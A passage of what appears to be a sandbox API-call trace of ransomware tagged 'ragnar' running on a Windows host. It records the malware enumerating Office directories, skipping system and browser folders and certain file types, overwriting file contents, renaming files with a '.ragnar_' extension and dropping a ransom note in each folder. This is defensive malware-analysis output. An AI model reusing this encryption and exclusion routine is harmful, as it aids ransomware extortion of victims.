VirtualAlloc (lpAddress=0x0, dwSize=0x750, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0063.385] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.385] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0063.385] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x750, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x750, lpOverlapped=0x0) returned 1 [0063.385] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0063.386] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x750, nNumberOfBytesToLockHigh=0x0) returned 1 [0063.386] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x750, lpOverlapped=0x0) returned 1 [0063.386] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x750, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0063.386] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0063.386] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x750, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.386] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0063.386] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0063.386] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0063.386] WriteFile (in: hFile=0x104, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0063.386] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0063.386] GetProcessHeap () returned 0x580000 [0063.386] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0063.386] CloseHandle (hObject=0x104) returned 1 [0063.387] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" [0063.387] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.ragnar_FD7BD9FC" [0063.387] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0063.388] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0063.388] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0063.388] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0063.388] lstrcmpiW (lpString1="Proof.en", lpString2=".") returned 1 [0063.388] lstrcmpiW (lpString1="Proof.en", lpString2="..") returned 1 [0063.388] lstrcmpiW (lpString1="Proof.en", lpString2="Windows") returned -1 [0063.388] lstrcmpiW (lpString1="Proof.en", lpString2="Windows.old") returned -1 [0063.388] lstrcmpiW (lpString1="Proof.en", lpString2="Tor browser") returned -1 [0063.388] lstrcmpiW (lpString1="Proof.en", lpString2="Internet Explorer") returned 1 [0063.388] lstrcmpiW (lpString1="Proof.en", lpString2="Google") returned 1 [0063.388] lstrcmpiW (lpString1="Proof.en", lpString2="Opera") returned 1 [0063.388] lstrcmpiW (lpString1="Proof.en", lpString2="Opera Software") returned 1 [0063.388] lstrcmpiW (lpString1="Proof.en", lpString2="Mozilla") returned 1 [0063.388] lstrcmpiW (lpString1="Proof.en", lpString2="Mozilla Firefox") returned 1 [0063.388] lstrcmpiW (lpString1="Proof.en", lpString2="$Recycle.Bin") returned 1 [0063.388] lstrcmpiW (lpString1="Proof.en", lpString2="ProgramData") returned 1 [0063.388] lstrcmpiW (lpString1="Proof.en", lpString2="All Users") returned 1 [0063.388] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0063.388] lstrcpyW (in: lpString1=0x1eab90, lpString2="Proof.en" | out: lpString1="Proof.en") returned="Proof.en" [0063.388] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\" [0063.388] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\" [0063.388] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\RGNR_FD7BD9FC.txt" [0063.389] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0063.394] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*.*" [0063.394] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x60 [0063.394] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0063.394] lstrcpyW (in: lpString1=0x1e9cb6, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0063.394] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7807f240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7807f240, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0063.394] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0063.394] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7807f240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7807f240, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.394] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0063.394] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0063.394] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0063.394] lstrcmpiW (lpString1="Proof.XML", lpString2=".") returned 1 [0063.394] lstrcmpiW (lpString1="Proof.XML", lpString2="..") returned 1 [0063.394] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7807f240, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7807f240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0063.394] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0063.394] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0063.394] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7807f240, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7807f240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0063.394] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0063.394] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7807f240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7807f240, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0063.394] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7807f240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7807f240, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.394] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0063.394] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x60 [0063.395] lstrcpyW (in: lpString1=0x1ea0ca, lpString2="Proof.XML" | out: lpString1="Proof.XML") returned="Proof.XML" [0063.395] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned=".XML" [0063.395] lstrcmpiW (lpString1="Proof.XML", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0063.395] lstrcmpiW (lpString1="Proof.XML", lpString2="autorun.inf") returned 1 [0063.395] lstrcmpiW (lpString1="Proof.XML", lpString2="boot.ini") returned 1 [0063.395] lstrcmpiW (lpString1="Proof.XML", lpString2="bootfont.bin") returned 1 [0063.395] lstrcmpiW (lpString1="Proof.XML", lpString2="bootsect.bak") returned 1 [0063.395] lstrcmpiW (lpString1="Proof.XML", lpString2="bootmgr") returned 1 [0063.395] lstrcmpiW (lpString1="Proof.XML", lpString2="bootmgr.efi") returned 1 [0063.395] lstrcmpiW (lpString1="Proof.XML", lpString2="bootmgfw.efi") returned 1 [0063.395] lstrcmpiW (lpString1="Proof.XML", lpString2="desktop.ini") returned 1 [0063.395] lstrcmpiW (lpString1="Proof.XML", lpString2="iconcache.db") returned 1 [0063.395] lstrcmpiW (lpString1="Proof.XML", lpString2="ntldr") returned 1 [0063.395] lstrcmpiW (lpString1="Proof.XML", lpString2="ntuser.dat") returned 1 [0063.395] lstrcmpiW (lpString1="Proof.XML", lpString2="ntuser.dat.log") returned 1 [0063.395] lstrcmpiW (lpString1="Proof.XML", lpString2="ntuser.ini") returned 1 [0063.395] lstrcmpiW (lpString1="Proof.XML", lpString2="thumbs.db") returned -1 [0063.395] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0063.395] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0063.395] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0063.395] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0063.395] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0063.395] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0063.395] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0063.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 0x20 [0063.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0063.396] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=1347) returned 1 [0063.396] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x53a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.396] GetProcessHeap () returned 0x580000 [0063.396] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0063.396] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0063.397] VirtualAlloc (lpAddress=0x0, dwSize=0x543, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0063.397] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.397] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0063.397] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x543, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x543, lpOverlapped=0x0) returned 1 [0063.397] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0063.398] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x543, nNumberOfBytesToLockHigh=0x0) returned 1 [0063.398] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x543, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x543, lpOverlapped=0x0) returned 1 [0063.398] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x543, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0063.398] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0063.398] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x543, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.398] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0063.398] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0063.398] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0063.398] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0063.398] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0063.398] GetProcessHeap () returned 0x580000 [0063.398] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0063.398] CloseHandle (hObject=0x108) returned 1 [0063.399] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" [0063.399] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.ragnar_FD7BD9FC" [0063.399] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0063.400] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7807f240, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7807f240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0063.400] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x60 [0063.400] lstrcpyW (in: lpString1=0x1ea0ca, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0063.400] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\RGNR_FD7BD9FC.txt") returned=".txt" [0063.400] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0063.400] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7807f240, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7807f240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0063.400] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0063.400] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0063.400] lstrcmpiW (lpString1="Proof.es", lpString2=".") returned 1 [0063.400] lstrcmpiW (lpString1="Proof.es", lpString2="..") returned 1 [0063.400] lstrcmpiW (lpString1="Proof.es", lpString2="Windows") returned -1 [0063.400] lstrcmpiW (lpString1="Proof.es", lpString2="Windows.old") returned -1 [0063.400] lstrcmpiW (lpString1="Proof.es", lpString2="Tor browser") returned -1 [0063.400] lstrcmpiW (lpString1="Proof.es", lpString2="Internet Explorer") returned 1 [0063.400] lstrcmpiW (lpString1="Proof.es", lpString2="Google") 